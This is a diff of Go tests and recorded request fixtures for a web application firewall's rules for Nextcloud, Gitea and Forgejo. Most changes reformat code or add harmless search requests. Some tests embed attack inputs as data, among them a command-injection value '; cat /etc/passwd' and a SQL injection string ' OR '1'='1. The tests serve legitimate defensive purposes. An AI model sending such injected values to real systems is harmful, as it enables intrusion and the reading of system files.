for _, sent := range nextcloudFormFields {
|
for _, sent := range nextcloudFormFields {
|
||||||
@@ -350,11 +397,23 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
|
|||||||
{"/apps/user_ldap/renewpassword", formData, change},
|
{"/apps/user_ldap/renewpassword", formData, change},
|
||||||
{"/index.php/apps/user_ldap/renewpassword", formData, change},
|
{"/index.php/apps/user_ldap/renewpassword", formData, change},
|
||||||
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
||||||
{"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
{
|
||||||
|
"/index.php/apps/encryption/ajax/updatePrivateKeyPassword",
|
||||||
|
formData,
|
||||||
|
change,
|
||||||
|
},
|
||||||
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
||||||
{"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
{
|
||||||
|
"/index.php/apps/encryption/ajax/changeRecoveryPassword",
|
||||||
|
formData,
|
||||||
|
recovery,
|
||||||
|
},
|
||||||
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
||||||
{"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
{
|
||||||
|
"/index.php/apps/encryption/ajax/adminRecovery",
|
||||||
|
formData,
|
||||||
|
adminRecovery,
|
||||||
|
},
|
||||||
{"/login/confirm", jsonBody, password},
|
{"/login/confirm", jsonBody, password},
|
||||||
{"/index.php/login/confirm", formData, password},
|
{"/index.php/login/confirm", formData, password},
|
||||||
{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
|
{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
|
||||||
@@ -380,7 +439,7 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
|
|||||||
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
target := nextcloudUsers + "/alice"
|
target := nextcloudUsers + "/alice"
|
||||||
@@ -409,7 +468,12 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
|||||||
{jsonRequest, jsonPassword("; cat /etc/passwd")},
|
{jsonRequest, jsonPassword("; cat /etc/passwd")},
|
||||||
} {
|
} {
|
||||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
|
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
|
||||||
t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
|
t.Errorf(
|
||||||
|
"%s %.40s refused: %+v",
|
||||||
|
sent.r.headers[0],
|
||||||
|
sent.body,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -424,7 +488,12 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
|||||||
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
|
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
|
||||||
} {
|
} {
|
||||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
|
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
|
||||||
t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
|
t.Errorf(
|
||||||
|
"%s %.40s let through: %+v",
|
||||||
|
sent.r.headers[0],
|
||||||
|
sent.body,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -452,7 +521,12 @@ func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
|||||||
|
|
||||||
document := "Backup steps:\n\n" + nextcloudCodeBlock
|
document := "Backup steps:\n\n" + nextcloudCodeBlock
|
||||||
|
|
||||||
request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
|
request, score := nextcloudBodyScore(
|
||||||
|
t,
|
||||||
|
readingBodies(t),
|
||||||
|
nextcloudDocument,
|
||||||
|
document,
|
||||||
|
)
|
||||||
if score >= nextcloudThreshold {
|
if score >= nextcloudThreshold {
|
||||||
t.Errorf("%s refused: %d", request, score)
|
t.Errorf("%s refused: %d", request, score)
|
||||||
}
|
}
|
||||||
@@ -499,7 +573,10 @@ func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
|||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
cookie := func(value string) request {
|
cookie := func(value string) request {
|
||||||
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
|
return get(
|
||||||
|
"/apps/files/",
|
||||||
|
"Cookie: nc_sameSiteCookielax=true; nc_username="+value,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, value := range hardValues {
|
for _, value := range hardValues {
|
||||||
@@ -556,20 +633,40 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
|
|||||||
|
|
||||||
// MKCALENDAR only where the calendars are.
|
// MKCALENDAR only where the calendars are.
|
||||||
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
|
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
|
||||||
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
|
wantResult(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
request{nextcloudMkcalendar, target, nil},
|
||||||
|
matched(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
|
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
|
||||||
"/x/remote.php/dav/calendars/",
|
"/x/remote.php/dav/calendars/",
|
||||||
} {
|
} {
|
||||||
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
|
wantResult(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
request{nextcloudMkcalendar, target, nil},
|
||||||
|
matched(911100),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// PROPFIND, and no other WebDAV method, where a client asks for them.
|
// PROPFIND, and no other WebDAV method, where a client asks for them.
|
||||||
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
|
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
|
||||||
wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
|
wantResult(
|
||||||
wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
|
t,
|
||||||
|
crs,
|
||||||
|
request{nextcloudPropFind, target, nil},
|
||||||
|
matched(),
|
||||||
|
)
|
||||||
|
wantResult(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
request{nextcloudMkcol, target, nil},
|
||||||
|
matched(911100),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
other := request{nextcloudPropFind, "/.well-known/other", nil}
|
other := request{nextcloudPropFind, "/.well-known/other", nil}
|
||||||
@@ -603,7 +700,12 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
|
|||||||
} {
|
} {
|
||||||
sent := described.sent
|
sent := described.sent
|
||||||
|
|
||||||
request, score := nextcloudBodyScore(t, crs, sent, described.description)
|
request, score := nextcloudBodyScore(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
sent,
|
||||||
|
described.description,
|
||||||
|
)
|
||||||
if score >= nextcloudThreshold {
|
if score >= nextcloudThreshold {
|
||||||
t.Errorf("%s refused: %d", request, score)
|
t.Errorf("%s refused: %d", request, score)
|
||||||
}
|
}
|
||||||
@@ -625,7 +727,12 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
|
|||||||
// An MKCOL on the calendars' paths skips only the rules for names.
|
// An MKCOL on the calendars' paths skips only the rules for names.
|
||||||
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
|
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
|
||||||
|
|
||||||
request, score = nextcloudBodyScore(t, crs, sent, described.description)
|
request, score = nextcloudBodyScore(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
sent,
|
||||||
|
described.description,
|
||||||
|
)
|
||||||
if score < nextcloudThreshold {
|
if score < nextcloudThreshold {
|
||||||
t.Errorf("%s let through: %d", request, score)
|
t.Errorf("%s let through: %d", request, score)
|
||||||
}
|
}
|
||||||
@@ -661,7 +768,10 @@ func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
|
|||||||
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
|
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
|
if got := inspect(t, crs, refused); !slices.Contains(
|
||||||
|
got.RuleIDs,
|
||||||
|
920530,
|
||||||
|
) {
|
||||||
t.Errorf("%s %s %q let through: %+v",
|
t.Errorf("%s %s %q let through: %+v",
|
||||||
refused.method, refused.target, refused.headers, got)
|
refused.method, refused.target, refused.headers, got)
|
||||||
}
|
}
|
||||||
@@ -702,7 +812,12 @@ func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
|
|||||||
} {
|
} {
|
||||||
got, _ := inspectBody(t, crs, refused, upload.body)
|
got, _ := inspectBody(t, crs, refused, upload.body)
|
||||||
if got.Score < nextcloudThreshold {
|
if got.Score < nextcloudThreshold {
|
||||||
t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
|
t.Errorf(
|
||||||
|
"%s %s let through: %+v",
|
||||||
|
refused.method,
|
||||||
|
refused.target,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -713,7 +828,13 @@ func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
|
|||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
|
methods := []string{
|
||||||
|
http.MethodGet,
|
||||||
|
http.MethodPut,
|
||||||
|
nextcloudPropFind,
|
||||||
|
"MOVE",
|
||||||
|
"LOCK",
|
||||||
|
}
|
||||||
|
|
||||||
for _, method := range methods {
|
for _, method := range methods {
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
@@ -801,7 +922,13 @@ func TestNextcloudExclusionsAreNarrow(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.body)
|
got, _ := inspectBody(t, crs, r, sent.body)
|
||||||
if got.Score < nextcloudThreshold {
|
if got.Score < nextcloudThreshold {
|
||||||
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
|
t.Errorf(
|
||||||
|
"%s %s %s let through: %+v",
|
||||||
|
sent.method,
|
||||||
|
sent.target,
|
||||||
|
sent.body,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -50,7 +50,7 @@ func giteaRequests(t *testing.T) []request {
|
|||||||
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
@@ -110,7 +110,7 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
|
|||||||
func wantRecordedRequestsPass(t *testing.T, name string) {
|
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
@@ -125,11 +125,14 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
|
|||||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
|
typed := slices.ContainsFunc(
|
||||||
name, _, _ := strings.Cut(header, ":")
|
recorded.Headers,
|
||||||
|
func(header string) bool {
|
||||||
|
name, _, _ := strings.Cut(header, ":")
|
||||||
|
|
||||||
return strings.EqualFold(name, "Content-Type")
|
return strings.EqualFold(name, "Content-Type")
|
||||||
})
|
},
|
||||||
|
)
|
||||||
if recorded.Body == "" && !typed {
|
if recorded.Body == "" && !typed {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -156,7 +159,7 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
|||||||
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
|
|||||||
+213
@@ -190,6 +190,215 @@
|
|||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
